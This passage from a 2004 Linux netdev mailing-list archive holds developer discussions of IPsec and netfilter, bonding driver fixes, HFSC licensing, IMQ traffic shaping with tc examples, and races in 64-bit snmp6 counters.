issue, but I guess many people will find it problematic, > if they cannot see what packets are dropped by the xfrm logic. > I'm only rasing the issue, because that code is most likely put > to the same places we are discussiong right now (ah, esp, ipip_rcv, > ipip_xmit, ...). yes, but I'd rather don't put both of them into one patch. > > I'm not proposing to route before encapsulating. >=20 > that is currently done. I'm glad if that "feature" is removed. Again, I misunderstood you. I do not intend to change the IPsec implementation in any way, I just want netfilter to acommodate it.=20 > an interface, but avoiding the interface. but please keep > tunnel with interface and tunnel without interface in sync. What do you mean by that? From my point of view, it should be like (1-6) above. This way anybody can filter on any kind of header bit at any layer of the encapsulation.=20 > Regards, Andreas --=20 - Harald Welte http://www.netfilter.org/ =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D "Fragmentation is like classful addressing -- an interesting early architectural error that shows how much experimentation was going on while IP was being designed." -- Paul Vixie --GdipSGKQZT5VYjAa Content-Type: application/pgp-signature; name="signature.asc" Content-Description: Digital signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (GNU/Linux) iD8DBQFAF7KCXaXGVTD0i/8RAp5kAKCyp4NWqfAHfDrD7YhEFFkxjon2hgCdElGp wj4lLEKYOW6FbZQFTfyJFwk= =r/lW -----END PGP SIGNATURE----- --GdipSGKQZT5VYjAa-- From shmulik.hen@intel.com Wed Jan 28 05:23:17 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 28 Jan 2004 05:23:32 -0800 (PST) Received: from hermes.py.intel.com (hermes.py.intel.com [146.152.216.3]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0SDNG7J025674 for ; Wed, 28 Jan 2004 05:23:16 -0800 Received: from petasus.py.intel.com (petasus.py.intel.com [146.152.221.4]) by hermes.py.intel.com (8.12.9-20030918-01/8.12.9/d: large-outer.mc,v 1.5 2003/11/26 00:10:29 root Exp $) with ESMTP id i0SDN4du001564; Wed, 28 Jan 2004 13:23:04 GMT Received: from fmsmsxv041-1.fm.intel.com (fmsmsxvs041.fm.intel.com [132.233.42.126]) by petasus.py.intel.com (8.12.9-20030918-01/8.12.9/d: large-inner.mc,v 1.9 2004/01/09 01:01:50 root Exp $) with SMTP id i0SDNkMA011253; Wed, 28 Jan 2004 13:23:52 GMT Received: from jrslxjul4.npdj.intel.com ([10.12.220.54]) by fmsmsxv041-1.fm.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004012805230106842 ; Wed, 28 Jan 2004 05:23:02 -0800 From: Shmuel Hen Organization: Intel Corporation To: "Willy Tarreau" , Subject: Re: [PATCH-2.4] add missing '\n' in bonding messages Date: Wed, 28 Jan 2004 15:23:00 +0200 User-Agent: KMail/1.5.3 Cc: , References: In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="tscii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200401281523.00369.shmulik.hen@intel.com> X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) X-archive-position: 2862 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shmulik.hen@intel.com Precedence: bulk X-list: netdev Content-Length: 761 Lines: 21 On Wednesday 28 January 2004 15:04, Willy Tarreau wrote: > > there are a few places where the bonding driver displays > informational messages without the trailing '\n', which is > sometimes annoying because messages get logged at the wrong level. > > Here's the patch against 2.4.25-pre7. I haven't checked 2.6 nor the > bonding cleanup patch against those typos. > All those fixes are in the cleanup set and have been picked up by Jeff for both netdev-2.4 and netdev-2.6 BK trees. To the best of my understanding, they will be held until 2.4.25 and 2.6.2 are released. -- | Shmulik Hen Advanced Network Services | | Israel Design Center, Jerusalem | | LAN Access Division, Platform Networking | | Intel Communications Group, Intel corp. | From kaber@trash.net Wed Jan 28 06:21:19 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 28 Jan 2004 06:21:32 -0800 (PST) Received: from mx02.qsc.de (mx02.qsc.de [213.148.130.14]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0SELH7J027746 for ; Wed, 28 Jan 2004 06:21:18 -0800 Received: from port-212-202-53-237.reverse.qsc.de ([212.202.53.237] helo=gw.localnet) by mx02.qsc.de with esmtp (Exim 3.35 #1) id 1AlqYW-0000EL-00; Wed, 28 Jan 2004 15:20:36 +0100 Received: from ws.localnet ([192.168.0.23] helo=trash.net ident=kaber) by gw.localnet with esmtp (Exim 3.36 #1 (Debian)) id 1AlqYo-0002ZN-00; Wed, 28 Jan 2004 15:20:54 +0100 Message-ID: <4017C54D.2060607@trash.net> Date: Wed, 28 Jan 2004 15:21:01 +0100 From: Patrick McHardy User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20031107 Debian/1.5-3 X-Accept-Language: en MIME-Version: 1.0 To: Jamie Lokier CC: hadi@cyberus.ca, netdev@oss.sgi.com, linux-net@vger.kernel.org, "David S. Miller" Subject: Re: [PATCH]: altq HFSC port References: <1075128375.1746.392.camel@jzny.localdomain> <40155F1A.7070507@trash.net> <20040126235957.GA30186@mail.shareable.org> In-Reply-To: <20040126235957.GA30186@mail.shareable.org> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 2863 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kaber@trash.net Precedence: bulk X-list: netdev Content-Length: 2309 Lines: 56 Jamie, thanks for making this clear. As the GPL specifically states that "identifable sections" retain their license, I guess their is no need to repeat it in the source file. Regarding the politeness (I don't want to be impolite), the authors are informed and support getting HFSC into Linux. Dave, is that good enough for you ? Best regards, Patrick Jamie Lokier wrote: > > Yes, the end-product Linux kernel (the combined work) is subject to > the GPL. You _do_ have the consent of the authors: their decision to > release under the BSD-without-advertising license _is_ consent to > incorporate it into a GPL work, just as it is consent to incorporate > it into a closed source work. Asking for their blessing is politeness. > > When the authors release the code under the BSD-without-advertising > clause, they are declaring that it's ok to use the code in lots of > different ways. One of those is that it's ok to re-release the code > under GPL - the authors may not like that, but they have explicitly > declared that you may to do it. > > You can do that. > Alternatively you can keep the code licensed under BSD-without-advertising. > > When you combine BSD-without-advertising code with GPL code, the > resulting combined work is covered by both licenses, and because the > BSD-without-advertising permissions are a superset of the GPL > permissions, the combined work is effectively covered by the GPL. > > However, the BSD-without-advertising code retains its own license, and > provided it remains an "identifiable section" of the program and "can > be reasonably considered independent and separate" in itself, then > anyone may copy that code from the combined work and use it according > to the BSD-without-advertising license. See clause 2, paragraph 5 of > the GPL. Unfortunately it is not 100% clear on this matter. > > Whether that code remains independent and separate will depend on the > changes made and the licensing of patches, which is a grey area > because people don't tend to make the licensing of Linux patches > clear. Most likely, as soon as people make changes to the code within > the context of Linux development, it may be assumed that the derived > work (the hfsc code + patches from Linux authors) is covered by the GPL. > > Btw, IANAL. > -- Jamie > From kala@pinerecords.com Wed Jan 28 08:19:56 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 28 Jan 2004 08:20:10 -0800 (PST) Received: from louise.pinerecords.com (louise.pinerecords.com [213.168.176.16]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0SGJs7J009560 for ; Wed, 28 Jan 2004 08:19:55 -0800 Received: from louise.pinerecords.com (localhost [127.0.0.1]) by louise.pinerecords.com with ESMTP id i0RBxIRJ019962 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 27 Jan 2004 12:59:18 +0100 Received: (from kala@localhost) by louise.pinerecords.com (submit) id i0RBxH8I019961; Tue, 27 Jan 2004 12:59:17 +0100 Date: Tue, 27 Jan 2004 12:59:17 +0100 From: Tomas Szepe To: jamal Cc: "Vladimir B. Savkin" , netdev@oss.sgi.com, volf@dragon.cz Subject: Re: [RFC/PATCH] IMQ port to 2.6 Message-ID: <20040127115917.GA19166@louise.pinerecords.com> References: <1075058539.1747.92.camel@jzny.localdomain> <20040125202148.GA10599@usr.lcm.msu.ru> <1075074316.1747.115.camel@jzny.localdomain> <20040126001102.GA12303@usr.lcm.msu.ru> <1075086588.1732.221.camel@jzny.localdomain> <20040126093230.GA17811@usr.lcm.msu.ru> <1075124312.1732.292.camel@jzny.localdomain> <20040126135545.GA19497@usr.lcm.msu.ru> <20040126152409.GA10053@louise.pinerecords.com> <1075173275.1039.53.camel@jzny.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1075173275.1039.53.camel@jzny.localdomain> User-Agent: Mutt/1.4.1i X-archive-position: 2864 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: szepe@pinerecords.com Precedence: bulk X-list: netdev Content-Length: 2979 Lines: 85 On Jan-26 2004, Mon, 22:14 -0500 jamal wrote: > On Mon, 2004-01-26 at 10:24, Tomas Szepe wrote: > [..] > > Actually, this is very much like what we're using IMQ for: > > > > +-----------+ eth1 --- \ > > | shaper + eth2 --- > > Internet --- eth0 + in bridge + . --- ... WAN (10 C's of customer IPs) > > | setup + . --- > > +-----------+ ethN --- / > > > > We're shaping single IPs and groups of IPs, applying tariff rates > > on the sum of inbound and outbound flow (this last point, I'm told, > > is the primary reason for our use of IMQ).] > > This does not IMQ. I am going to type an example at the end of the > email. Thanks for your reply, Jamal. Unfortunately, we don't really understand your example. Please see below. [snip] > BTW, how are you going to do SNAT with bridging? We aren't. :) We won't need bridging on those firewalls, it's only necessary for the main shaper box. I apologize for not making that clear in my previous post. > The example below tries to show many things. Example sharing of > policers across many flows within a device, and across devices. > Also shows how to do it so that inbound and outbound are summed up. > [snip] What's the mechanism for matching the IPs? We need to insert thousands of these rules and shape constant 20+ Mbit flow of traffic. If it doesn't use a hash or similar, we're back to where we started. > # On the return path from internet to eth1, packets from > # internet to 10.0.0.21 are forced to use policer index 1 > # and therefore ensuring that the bandwidth is allocated > # is the sum of inbound and outbound for that flow .. > # > # > #add ingress qdisc > tc qdisc add dev eth1 ingress > # > tc filter add dev eth1 parent ffff: protocol ip prio 1 \ > u32 match ip src 10.0.0.21/32 flowid 1:15 \ > # first give it a mark of 1 > action ipt -j mark --set-mark 1 index 2 \ > # ensure policer index 1 is used > action police index 1 rate 1kbit burst 9k pipe \ > # exceeded flows bound rate .. > action ipt -j mark --set-mark 2 \ > # > action police index 200 mtu 5000 rate 1kbit burst 10k pipe \ > action ipt -j mark --set-mark 3 \ > action police index 300 mtu 5000 rate 1kbit burst 90k drop > # > # > # do something on eth0 with these firewall marks > # example use them to send packets to different classes/queue > # give priority to marks 1 then 2 then 3 > # > . > . > . > # now the return path to 10.0.0.21 ... > tc qdisc add dev eth1 handle 1:0 root prio > # > # note how exactly the same policer is used ("index 1") > tc filter add dev eth1 parent 1:0 protocol ip prio 1 \ > u32 match ip dst 10.0.0.21/32 flowid 1:25 \ > action police index 1 rate 1kbit burst 9k pipe Would you know of any real documentation on tc/ingress that we could use to deconstruct this example and understand it? At this moment we can only guess at what's happening. :( -- Tomas Szepe From shmulik.hen@intel.com Wed Jan 28 08:58:00 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 28 Jan 2004 08:58:09 -0800 (PST) Received: from hermes.py.intel.com (hermes.py.intel.com [146.152.216.3]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0SGvv7J017495 for ; Wed, 28 Jan 2004 08:57:59 -0800 Received: from petasus.py.intel.com (petasus.py.intel.com [146.152.221.4]) by hermes.py.intel.com (8.12.9-20030918-01/8.12.9/d: large-outer.mc,v 1.5 2003/11/26 00:10:29 root Exp $) with ESMTP id i0SGvTdu017991; Wed, 28 Jan 2004 16:57:30 GMT Received: from fmsmsxvs040.fm.intel.com (fmsmsxvs040.fm.intel.com [132.233.42.124]) by petasus.py.intel.com (8.12.9-20030918-01/8.12.9/d: large-inner.mc,v 1.9 2004/01/09 01:01:50 root Exp $) with SMTP id i0SGvoME028227; Wed, 28 Jan 2004 16:58:17 GMT Received: from jrslxjul4.npdj.intel.com ([10.12.220.54]) by fmsmsxvs040.fm.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004012808572615111 ; Wed, 28 Jan 2004 08:57:27 -0800 From: Shmuel Hen Organization: Intel Corporation To: "Jeff Garzik" Subject: Re: [PATCH 3/6][8021q][2.4] Use VLAN tag set functionality in 8021q module Date: Wed, 28 Jan 2004 18:57:25 +0200 User-Agent: KMail/1.5.3 Cc: , References: In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="tscii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200401281857.25642.shmulik.hen@intel.com> X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) X-archive-position: 2865 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shmulik.hen@intel.com Precedence: bulk X-list: netdev Content-Length: 1371 Lines: 31 On Monday 26 January 2004 19:42, Jeff Garzik wrote: > Shmuel Hen wrote: > > Also, speaking of the bonding changes queued in netdev-2.4, some > > of those have been queued there since 2.4.23 came out. Will those > > be pushed to Marcelo during 2.4.25 or do you intend to hold them > > until 2.4.26-preX starts? > > Sounds like DaveM and I will need to coordinate a bit, then. By coordinate, do you mean that you'll take in all of our patches and forward them to Dave at the appropriate time, or instead wait for Dave to take in the first half (which is not bonding specific) and only then take the last half ? > Note that at some point, IMO you need to plan on 2.6-only > development, since keeping bonding the same in 2.4 and 2.6 -through > ABI changes- may not be feasible past the short term. 2.4 > developmnent is intentionally slowing down on Marcelo's side, even > though vendors are still shipping 2.4.x stuff. That is our intention. The VLAN enhancements and dynamic configuration are the last features we wanted to get into 2.4 before closing (maybe zero copy too, since it is trivial). The only thing we do intend to keep sending for both 2.4 and 2.6 are bug fixes. -- | Shmulik Hen Advanced Network Services | | Israel Design Center, Jerusalem | | LAN Access Division, Platform Networking | | Intel Communications Group, Intel corp. | From jgarzik@pobox.com Wed Jan 28 11:01:21 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 28 Jan 2004 11:01:26 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0SJ1K7J022680 for ; Wed, 28 Jan 2004 11:01:21 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:55223 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1AluwB-0001E9-DY; Wed, 28 Jan 2004 19:01:19 +0000 Message-ID: <401806F3.1040308@pobox.com> Date: Wed, 28 Jan 2004 14:01:07 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: David Dillow CC: Netdev Subject: Re: [BK] Updated 2.6 typhoon driver for 3CR990 & 3CR990B cards References: <1075260716.3637.4.camel@ori.thedillows.org> In-Reply-To: <1075260716.3637.4.camel@ori.thedillows.org> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 2868 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 111 Lines: 9 heh, I received it a-ok the first time, so your mailer is working :) Looks OK, will apply soonish. Jeff From davem@redhat.com Wed Jan 28 11:11:27 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 28 Jan 2004 11:11:33 -0800 (PST) Received: from cheetah (mail@adsl-63-197-226-105.dsl.snfc21.pacbell.net [63.197.226.105]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0SJBQ7J023328 for ; Wed, 28 Jan 2004 11:11:27 -0800 Received: from cheetah ([127.0.0.1] ident=davem) by cheetah with smtp (Exim 3.36 #1 (Debian)) id 1Alv4L-00024b-00; Wed, 28 Jan 2004 11:09:45 -0800 Date: Wed, 28 Jan 2004 11:09:45 -0800 From: "David S. Miller" To: Krishna Kumar Cc: kuznet@ms2.inr.ac.ru, mashirle@us.ibm.com, netdev@oss.sgi.com, xma@us.ibm.com Subject: Re: [PATCH]snmp6 64-bit counter support in proc.c Message-Id: <20040128110945.662a4d6a.davem@redhat.com> In-Reply-To: References: X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2869 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 742 Lines: 20 On Thu, 22 Jan 2004 18:45:18 -0800 Krishna Kumar wrote: > / * Overflow, sync and re-read, the next read is guaranteed to > be greater > * than res1. > */ > synchronize_kernel(); > res2 = *((__u64 *) (((void *) per_cpu_ptr(mib[0], i)) + sizeof > (__u64) * nr))); I don't understand how your scheme can work. We're trying to detect if the upper 32-bit half of the 64-bit value belongs with the lower-half. We can overflow the lower-half TWICE in the res1=...res2=... sequence you do, and this res2 reread in the if branch can overflow itself again, combining a lower and upper half which do not belong to each other. This is not so trivial to fix, see? :) From kumarkr@us.ibm.com Wed Jan 28 11:26:38 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 28 Jan 2004 11:26:43 -0800 (PST) Received: from e33.co.us.ibm.com (e33.co.us.ibm.com [32.97.110.131]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0SJQb7J024075 for ; Wed, 28 Jan 2004 11:26:38 -0800 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e33.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i0SJPEAi769646; Wed, 28 Jan 2004 14:25:24 -0500 Received: from d03nm801.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay02.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i0SJP2SA134088; Wed, 28 Jan 2004 12:25:03 -0700 Subject: Re: [PATCH]snmp6 64-bit counter support in proc.c To: "David S. Miller" Cc: kuznet@ms2.inr.ac.ru, mashirle@us.ibm.com, netdev@oss.sgi.com, Shirley Ma X-Mailer: Lotus Notes Release 5.0.7 March 21, 2001 Message-ID: From: Krishna Kumar Date: Wed, 28 Jan 2004 11:19:36 -0800 X-MIMETrack: Serialize by Router on D03NM801/03/M/IBM(Release 6.0.2CF2HF133 | November 14, 2003) at 01/28/2004 12:25:03 MIME-Version: 1.0 Content-type: multipart/related; Boundary="0__=07BBE4BADFFAAD3E8f9e8a93df938690918c07BBE4BADFFAAD3E" X-archive-position: 2870 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kumarkr@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 8740 Lines: 196 --0__=07BBE4BADFFAAD3E8f9e8a93df938690918c07BBE4BADFFAAD3E Content-type: multipart/alternative; Boundary="1__=07BBE4BADFFAAD3E8f9e8a93df938690918c07BBE4BADFFAAD3E" --1__=07BBE4BADFFAAD3E8f9e8a93df938690918c07BBE4BADFFAAD3E Content-type: text/plain; charset=US-ASCII Hi Dave, > We can overflow the lower-half TWICE in the res1=...res2=... sequence > you do, and this res2 reread in the if branch can overflow itself again, The snippet assumed that the number will not overflow 4G times twice within two reads, which I thought was quite a reasonable assumption. I think a fast and clean solution is using Seq locks, which is how jiffies_64 is implemented on 32 bit systems. The writers always get the spin lock (can be per cpu with zero contention/thrashing) and increment the 'seq' number of seqlock data struct (all inside write_seqlock), then modify the 64 bit counter, and release the lock which increases the 'seq' again. The readers don't get a lock at all, they just read the 'seq' before and after the reading of the 64 bit counter, and if it changed, it needs to repeat this cycle of reads. In this case, no comparison of high/low order words are also needed. Does that sound better ? thanks, - KK |---------+----------------------------> | | "David S. Miller"| | | | | | | | | 01/28/2004 11:09 | | | AM | | | | |---------+----------------------------> >-----------------------------------------------------------------------------------------------------------------| | | | To: Krishna Kumar/Beaverton/IBM@IBMUS | | cc: kuznet@ms2.inr.ac.ru, mashirle@us.ltcfwd.linux.ibm.com, netdev@oss.sgi.com, Shirley | | Ma/Beaverton/IBM@IBMUS | | Subject: Re: [PATCH]snmp6 64-bit counter support in proc.c | | | >-----------------------------------------------------------------------------------------------------------------| On Thu, 22 Jan 2004 18:45:18 -0800 Krishna Kumar wrote: > / * Overflow, sync and re-read, the next read is guaranteed to > be greater > * than res1. > */ > synchronize_kernel(); > res2 = *((__u64 *) (((void *) per_cpu_ptr(mib[0], i)) + sizeof > (__u64) * nr))); I don't understand how your scheme can work. We're trying to detect if the upper 32-bit half of the 64-bit value belongs with the lower-half. We can overflow the lower-half TWICE in the res1=...res2=... sequence you do, and this res2 reread in the if branch can overflow itself again, combining a lower and upper half which do not belong to each other. This is not so trivial to fix, see? :) --1__=07BBE4BADFFAAD3E8f9e8a93df938690918c07BBE4BADFFAAD3E Content-type: text/html; charset=US-ASCII Content-Disposition: inline

Hi Dave,

> We can overflow the lower-half TWICE in the res1=...res2=... sequence
> you do, and this res2 reread in the if branch can overflow itself again,

The snippet assumed that the number will not overflow 4G times twice within
two reads, which I thought was quite a reasonable assumption.

I think a fast and clean solution is using Seq locks, which is how jiffies_64
is implemented on 32 bit systems. The writers always get the spin lock (can
be per cpu with zero contention/thrashing) and increment the 'seq' number of
seqlock data struct (all inside write_seqlock), then modify the 64 bit counter,
and release the lock which increases the 'seq' again. The readers don't get
a lock at all, they just read the 'seq' before and after the reading of the 64 bit
counter, and if it changed, it needs to repeat this cycle of reads. In this case,
no comparison of high/low order words are also needed. Does that sound
better ?

thanks,

- KK

Inactive hide details for "David S. Miller" <davem@redhat.com>"David S. Miller" <davem@redhat.com>




          "David S. Miller" <davem@redhat.com>

          01/28/2004 11:09 AM



To: Krishna Kumar/Beaverton/IBM@IBMUS
cc: kuznet@ms2.inr.ac.ru, mashirle@us.ltcfwd.linux.ibm.com, netdev@oss.sgi.com, Shirley Ma/Beaverton/IBM@IBMUS
Subject: Re: [PATCH]snmp6 64-bit counter support in proc.c


On Thu, 22 Jan 2004 18:45:18 -0800
Krishna Kumar <kumarkr@us.ibm.com> wrote:

> / * Overflow, sync and re-read, the next read is guaranteed to
> be greater
> * than res1.
> */
> synchronize_kernel();
> res2 = *((__u64 *) (((void *) per_cpu_ptr(mib[0], i)) + sizeof
> (__u64) * nr)));

I don't understand how your scheme can work.

We're trying to detect if the upper 32-bit half of the 64-bit value
belongs with the lower-half. We can overflow the lower-half TWICE
in the res1=...res2=... sequence you do, and this res2 reread in the if
branch can overflow itself again, combining a lower and upper half which
do not belong to each other.

This is not so trivial to fix, see? :)
 --1__=07BBE4BADFFAAD3E8f9e8a93df938690918c07BBE4BADFFAAD3E-- --0__=07BBE4BADFFAAD3E8f9e8a93df938690918c07BBE4BADFFAAD3E Content-type: image/gif; name="pic14735.gif" Content-Disposition: inline; filename="pic14735.gif" Content-ID: <10__=07BBE4BADFFAAD3E8f9e8a93df938@us.ibm.com> Content-transfer-encoding: base64 R0lGODlhWABDALP/AAAAAK04Qf79/o+Gm7WuwlNObwoJFCsoSMDAwGFsmIuezf///wAAAAAAAAAA AAAAACH5BAEAAAgALAAAAABYAEMAQAT/EMlJq704682770RiFMRinqggEUNSHIchG0BCfHhOjAuh EDeUqTASLCbBhQrhG7xis2j0lssNDopE4jfIJhDaggI8YB1sZeZgLVA9YVCpnGagVjV171aRVrYR RghXcAGFhoUETwYxcXNyADJ3GlcSKGAwLwllVC1vjIUHBWsFilKQdI8GA5IcpApeJQt8L09lmgkH LZikoU5wjqcyAMMFrJIDPAKvCFletKSev1HBw8KrxtjZ2tvc3d5VyKtCKW3jfz4uMKmq3xu4N0nK BVoJQmx2LGVOmrqNjjJf2hHAQo/eDwJGTKhQMcgQEEAnEjFS98+RnW3smGkZU6ncCWav/4wYOnAI TihRL/4FEwbp28BXMMcoscQCVxlepL4IGDSCyJyVQOu0o7CjmLN50OZlqWmyFy5/6yBBuji0AxFR M00oQAqNIstqI6qKHUsWRAEAvagsmfUEAImyxgbmUpJk3IklNUtJOUAVLoUr1+wqDGTE4zk+T6FG uQb3SizBCwatiiUgCBN8vrz+zFjVyQ8FWkOlg4NQiZMB5QS8QO3mpOaKnL0Z2EKvNMSILEThKhCg zMKPVxYJh23qm9KNW7pArPynMqZDiErsTMqI+LRi3QAgkFUbXpuFKhSYZALd0O5RKa2z9EYKBbpb qxIKsjUPRgD7I2XYV6wyrOw92ykExP8NW4URhknC5dKGE4v4NENQj2jXjmfNgOZDaXb5glRmXQ33 YEWQYNcZFnrYcIQLNzyTFDQNkXIff0ExVlY4srziQk43inZgL4rwxxINMvpFFAz1KOODHiu+4aEw NEjFl5B3JIKWKF3k6I9bfUGp5ZZcdunll5IA4cuHvQQJ5gcsoCWOOUwgltIwAKRxJgbIkJAQZEq0 2YliZnpZZ4BH3CnYOXldOUOfQoYDqF1LFHbXCrO8xmRsfoXDXJ6ChjCAH3QlhJcT6VWE6FCkfCco CgrMFsROrIEX3o2whVjWDjoJccN3LdggSGXLCdLEgHr1lyU3O3QxhgohNKXJCWv8JQr/PDdaqd6w 2rj1inLiGeiCJoDspAoQlYE6QWLSECehcWIYxIQES6zhbn1iImTHEQyqJ4eIxJJoUBc+3CbBuwZE V5cJPPkIjFDdeEabQbd6WgICTxiiz0f5dBKquXF6k4senwEhYGnKEFJeGrxUZy8dB8gmAXI/sPvH ESfCwVt5hTgYiqQqtdRNHQIU1PJ33ZqmzgE90OwLaoJcnMop1WiMmgkPHQRIrwgFuNV90A3doNKT mrKIN07AnGcI9BQjhCBN4RfA1qIZnMqorJCogKfGQnxSCDilTVIA0yl5ciTovgLuBDKFUDE9aQcw 9SA+rjSNf9/M1gxrj6VwDTS0IUSElMzBfsj0NFXR2kwsV1A5IF1grLgLL/r1R40BZEnuBWgmQEyb jqRwSAt6bqMCOFkvKFN2GPPkUzIm/SCF8z8pVzpbjVnMsy0vOr1hw3SaSRUhpY09v0z0J1FnwzPl fmh+xl4WtR0zGu24I4KbMQm3lnVu2oNWxI9W/lcyzA+mCKF4DBikxb/+UWtOGRiFP8qEwAayIgIA Ow== --0__=07BBE4BADFFAAD3E8f9e8a93df938690918c07BBE4BADFFAAD3E-- From davem@redhat.com Wed Jan 28 11:34:20 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 28 Jan 2004 11:34:24 -0800 (PST) Received: from cheetah (mail@adsl-63-197-226-105.dsl.snfc21.pacbell.net [63.197.226.105]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0SJYK7J024753 for ; Wed, 28 Jan 2004 11:34:20 -0800 Received: from cheetah ([127.0.0.1] ident=davem) by cheetah with smtp (Exim 3.36 #1 (Debian)) id 1AlvRR-0003ZB-00; Wed, 28 Jan 2004 11:33:37 -0800 Date: Wed, 28 Jan 2004 11:33:36 -0800 From: "David S. Miller" To: Krishna Kumar Cc: kuznet@ms2.inr.ac.ru, mashirle@us.ibm.com, netdev@oss.sgi.com, xma@us.ibm.com Subject: Re: [PATCH]snmp6 64-bit counter support in proc.c Message-Id: <20040128113336.7a6cb77d.davem@redhat.com> In-Reply-To: References: X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2871 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 568 Lines: 18 On Wed, 28 Jan 2004 11:19:36 -0800 Krishna Kumar wrote: [ ... idea to use seq locks ] > Does that sound better ? Well, I thought the goal was to move the expensive part of doing this out of the writers, which we assume will exceed readers. Seq locks favor readers, and assume that the write is the less common operation. Putting seq locks around every stat counter bump is going to plump up the code a lot. Maybe your idea and original assumption are fine, in essence we live with this now, don't we? :-) Perhaps there are some better ideas? From davem@redhat.com Wed Jan 28 11:38:33 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 28 Jan 2004 11:38:39 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0SJcV7J025247 for ; Wed, 28 Jan 2004 11:38:32 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i0SJcRb18774; Wed, 28 Jan 2004 14:38:27 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i0SJcQa10796; Wed, 28 Jan 2004 14:38:26 -0500 Received: from cheetah (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i0SJc0kC010322; Wed, 28 Jan 2004 14:38:00 -0500 Date: Wed, 28 Jan 2004 11:38:25 -0800 From: "David S. Miller" To: Harald Welte Cc: 